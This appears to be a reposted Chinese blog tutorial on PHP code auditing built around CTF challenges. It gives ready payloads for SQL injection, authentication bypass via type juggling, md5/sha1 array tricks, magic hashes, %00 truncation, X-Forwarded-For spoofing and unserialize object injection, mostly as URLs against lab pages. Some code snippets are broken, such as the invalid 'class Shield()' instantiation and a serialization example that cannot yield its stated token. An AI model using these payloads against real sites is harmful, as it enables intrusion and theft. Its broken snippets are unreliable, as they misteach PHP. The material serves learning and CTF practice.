PHP代码审计分段讲解[转载]

代码审计对于很多安全圈的新人来说,一直是一件头疼的事情,也想跟着大牛们直接操刀审计CMS?却处处碰壁:

函数看不懂!
漏洞原理不知道!
PHP 特性更不知!

那还怎么愉快审计?

不如化繁为简,跟着本项目先搞懂PHP中大多敏感函数与各类特性,再逐渐增加难度,直到可以吊打各类CMS~

本项目讲解基于多道CTF题,玩CTFWEB狗也不要错过(^-^)V

题的源码在Github: bowu(Github),可以自行部署,也可以静态审计。

欢迎贡献题目与解答,代表各位小白感激不尽~

01 extract 变量覆盖

http://127.0.0.1/Php_Bug/extract1.php?shiyan=&flag=1

02 绕过过滤的空白字符

可以引入\f(也就是%0c)在数字前面,来绕过最后那个is_palindrome_number函数,而对于前面的数字判断,因为intvalis_numeric都会忽略这个字符,所以不会影响。

http://127.0.0.1/Php_Bug/02.php?number=%00%0c191

资料:

PHP 类型与逻辑+fuzz 与源代码审计

03 多重加密

<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// echo $token;
?>
eJxLtDK0qs60MrBOAuJaAB5uBBQ=

04 SQL 注入 _WITH ROLLUP 绕过

admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- - 

资料:

实验吧 因缺思汀的绕过 By Assassin(with rollup 统计)

使用 GROUP BY WITH ROLLUP 改善统计性能

因缺思汀的绕过

05 ereg 正则%00 截断

http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-*

资料:

eregi()

06 strcmp 比较字符串

http://127.0.0.1/Php_Bug/06.php?a[]=1

这个函数是用于比较字符串的函数

int strcmp ( string $str1 , string $str2 )
// 参数 str1 第一个字符串。str2 第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的 php 中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php 官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。strcmp只会处理字符串参数,如果给个数组的话呢,就会返回NULL,而判断使用的是==NULL==0bool(true)

07 sha()函数比较绕过

http://127.0.0.1/Php_Bug/07.php?name[]=1&password[]=2

===会比较类型,比如bool

sha1()函数和md5()函数存在着漏洞,sha1()函数默认的传入参数类型是字符串型,那要是给它传入数组呢会出现错误,使sha1()函数返回错误,也就是返回false,这样一来===运算符就可以发挥作用了,需要构造usernamepassword既不相等,又同样是数组类型

?name[]=a&amp;password[]=b

08 SESSION 验证绕过

http://127.0.0.1/Php_Bug/08.php?password=

删除cookies或者删除cookies的值

资料:

[Write Up] Boston Key Party CTF 2015(部分题目)

09 密码 md5 比较绕过

?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

资料:

<a href=”http://bobao.360.cn/ctf/learning/129.html” target=”_blank”DUTCTF-2015-Writeup>

10 urldecode 二次编码绕过

hURL编码为:%68,二次编码为%2568,绕过

http://127.0.0.1/Php_Bug/10.php?id=%2568ackerDJ

资料:

URL 编码表

11 sql 闭合绕过

构造exp闭合绕过

admin')#

12 X-Forwarded-For 绕过指定 IP 地址

HTTP头添加X-Forwarded-For:1.1.1.1

13 md5 加密相等绕过

http://127.0.0.1/Php_Bug/13.php?a=240610708

==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0了,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行

var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');

md5('240610708'); // 0e462097431906509019562988736854 
md5('QNKCDZO'); // 0e830400451993494058024219903391 

把你的密码设成 0x1234Ab,然后退出登录再登录,换密码 1193131登录,如果登录成功,那么密码绝对是明文保存的没跑。

同理,密码设置为 240610708,换密码 QNKCDZO登录能成功,那么密码没加盐直接md5保存的。

资料:

PHP 探测任意网站密码明文/加密手段办法

14 intval 函数四舍五入

1024.1绕过

资料:

PHP intval()函数利用

15 strpos 数组绕过 NULL 与 ereg 正则%00 截断

  • 方法一:

既要是纯数字,又要有’#biubiubiu’strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求.
所以输入nctf[]=
那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求.

  • 方法二:

字符串截断,利用ereg()NULL截断漏洞,绕过正则过滤

http://127.0.0.1/Php_Bug/16.php?nctf=1%00#biubiubiu 错误

需将#编码

http://127.0.0.1/Php_Bug/16.php?nctf=1%00%23biubiubiu 正确

16 SQL 注入 or 绕过

$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
?username=admin\'\' AND pass=\''or 1 #&password=

17 密码 md5 比较绕过

//select pw from ctf where user=''and 0=1 union select  'e10adc3949ba59abbe56e057f20f883e' #
?user='and 0=1 union select  'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

18 md5()函数===使用数组绕过

若为md5($_GET['username']) == md5($_GET['password'])
则可以构造:

http://127.0.0.1/Php_Bug/18.php?username=QNKCDZO&password=240610708

因为==对比的时候会进行数据转换,0eXXXXXXXXXX 转成0
也可以使用数组绕过

http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2

但此处是===,只能用数组绕过,PHP对数组进行hash计算都会得出null的空值

http://127.0.0.1/Php_Bug/18.php?username[]=1&password[]=2

19 ereg()函数 strpos() 函数用数组返回 NULL 绕过

  • 方法一:

ereg()正则函数可以用%00截断

http://127.0.0.1/Php_Bug/19.php?password=1%00--
  • 方法二:

password构造一个arr[],传入之后,ereg是返回NULL的,===判断NULLFALSE,是不相等的,所以可以进入第二个判断,而strpos处理数组,也是返回NULL,注意这里的是!==NULL!==FALSE,条件成立,拿到flag

http://127.0.0.1/Php_Bug/19.php?password[]=

20 十六进制与数字比较

这里,它不让输入19的数字,但是后面却让比较一串数字,平常的方法肯定就不能行了,大家都知道计算机中的进制转换,当然也是可以拿来比较的,0x开头则表示16进制,将这串数字转换成16进制之后发现,是 deadc0de,在开头加上0x,代表这个是16进制的数字,然后再和十进制的 3735929054比较,答案当然是相同的,返回true拿到flag

echo  dechex ( 3735929054 ); // 将 3735929054 转为 16 进制
结果为:deadc0de

构造:

http://127.0.0.1/Php_Bug/20.php?password=0xdeadc0de

21 数字验证正则绕过

0 >= preg_match('/^[[:graph:]]{12,}$/', $password)

意为必须是12个字符以上(非空格非TAB之外的内容)

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr)) 

意为匹配到的次数要大于6

$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字  [[:upper:]] 任何大写字母  [[:lower:]] 任何小写字母 
foreach ($ps as $pt) 
{ 
    if (preg_match("/[[:$pt:]]+/", $password)) 
        $c += 1; 
} 
if ($c < 3) break; 

意为必须要有大小写字母,数字,字符内容三种与三种以上

if ("42" == $password) echo $flag; 

意为必须等于42

答案:

42.00e+00000000000 
或
420.000000000e-1

资料:

[安全宝「约宝妹」代码审计 CTF 题解]

各种版本 PHP 在线迷你运行脚本

PHP Comparison Operators

22 弱类型整数大小比较绕过

is_numeric($temp)?die("no numeric"):NULL;

不能是数字

if($temp>1336){
    echo $flag;
} 

又要大于1336

利用PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。如果输入一个1337a这样的字符串,在is_numeric中返回true,然后在比较时被转换成数字1337,这样就绕过判断输出flag

http://127.0.0.1/php_bug/22.php?password=1337a

23 md5 函数验证绕过

if(md5($temp)==0)
要使md5函数加密值为0

  • 方法一:

使password不赋值,为NULLNULL == 0true

http://127.0.0.1/php_bug/23.php?password=
http://127.0.0.1/php_bug/23.php
  • 方法二:

经过MD5运算后,为0e******的形式,其结果为0*10n次方,结果还是零

http://127.0.0.1/php_bug/23.php?password=240610708
http://127.0.0.1/php_bug/23.php?password=QNKCDZO

24 md5 函数 true 绕过注入

$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
md5($password,true)

md5后的hex转换成字符串

如果包含'or'xxx这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or'xxx'就绕过了

字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

hex转换成字符串:'or'6<trash>

构造:?password=ffifdyop

资料:

MD5 加密后的 SQL 注入

敏感函数 md5()

php 黑魔法

25 switch 没有 break 字符与 0 比较绕过

让我们包含当前目录中的flag.php,给whichflag,这里会发现在case 0case 1的时候,没有break,按照常规思维,应该是0比较不成功,进入比较1,然后比较2,再然后进入default,但是事实却不是这样,事实上,在 case 0的时候,字符串和0比较是相等的,进入了case 0的方法体,但是却没有break,这个时候,默认判断已经比较成功了,而如果匹配成功之后,会继续执行后面的语句,这个时候,是不会再继续进行任何判断的。也就是说,我们which传入flag的时候,case 0比较进入了方法体,但是没有break,默认已经匹配成功,往下执行不再判断,进入2的时候,执行了require_once flag.php

PHP中非数字开头字符串和数字 0比较==都返回True

因为通过逻辑运算符让字符串和数字比较时,会自动将字符串转换为数字.而当字符串无法转换为数字时,其结果就为0了,然后再和另一个0比大小,结果自然为ture。注意:如果那个字符串是以数字开头的,如6ldb,它还是可以转为数字6的,然后和0比较就不等了(但是和6比较就相等)
if($str==0) 判断 和 if( intval($str) == 0 ) 是等价的

可以验证:

<?php
$str="s6s";
if($str==0){ echo "返回了 true.";}
?>

要字符串与数字判断不转类型方法有:

  • 方法一:
$str="字符串";if($str===0){   echo "返回了 true.";} 
  • 方法二:
$str="字符串";if($str=="0"){   echo "返回了 true.";} ,

此题构造:

http://127.0.0.1/php_bug/25.php?which=aa

资料:

PHP 中字符串和数字 0 比较为什么返回 true?

26 unserialize()序列化

说明flagpctf.php,但showimg.php中不允许直接读取pctf.php,只有在index.php中可以传入变量class
index.phpShield类的实例$X = unserialize($g)$g = $_GET['class'];$X中不知$filename变量,但需要找的是:$filename = "pctf.php",现$X已知,求传入的class变量值。
可以进行序列化操作:

<!-- answer.php -->
<?php

require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;
?>
<!-- shield.php -->
<?php
//flag is in pctf.php
class Shield {
    public $file;
    function __construct($filename = 'pctf.php') {
        $this -> file = $filename;
    }
    
    function readfile() {
        if (!empty($this->file) && stripos($this->file,'..')===FALSE  
        && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
            return @file_get_contents($this->file);
        }
    }
}
?>

得到:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

构造:

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

30 利用提交数组绕过逻辑

首先是给了一个页面,提示 Sorry. You have no permissions.

查看cookie发现是base64。解密之后替换中间的guestadmin绕过登陆限制。

这段代码首先会查看提交的请求中是否存在<> 如果没有则将传入的数据(如果是数组)转化为字符串。如果其中存在<>则将 flag 生成在一个随机命名的文件中。
implode() 这个函数需要传入数组,如果传入的是字符串将报错,变量$s自然也就没有值。

if($auth){
    if(isset($_POST['filename'])){
        $filename = $_POST['filename'];
        $data = $_POST['data'];
        if(preg_match('[<>?]', $data)) {
            die('No No No!');
        }
        else {
            $s = implode($data);
            if(!preg_match('[<>?]', $s)){
                $flag="None.";
            }
            $rand = rand(1,10000000);
            $tmp="./uploads/".md5(time() + $rand).$filename;
            file_put_contents($tmp, $flag);
            echo "your file is in " . $tmp;
        }
    }
    else{
        echo "Hello admin, now you can upload something you are easy to forget.";
        echo "<br />there are the source.<br />";
        echo '<textarea rows="10" cols="100">';
        echo htmlspecialchars(str_replace($flag,'flag{???}',file_get_contents(__FILE__)));
        echo '</textarea>';
    }
}

想要通过Post请求的形式传入数组可以使用data[0]=123&data[1]=<>的形式传入数组,这样的话在执行implode()函数的时候就不会使&s为空,成功绕过这段逻辑拿到flag

关于转载

作  者:bowu
网  站:薄雾's Blog http://www.bowu8.com
Github: https://github.com/bowu678/php_bugs

PS:很值得学习的一篇文章,转载的同时,修复了其中失效的链接。

发表评论

发表评论

*

沙发空缺中,还不快抢~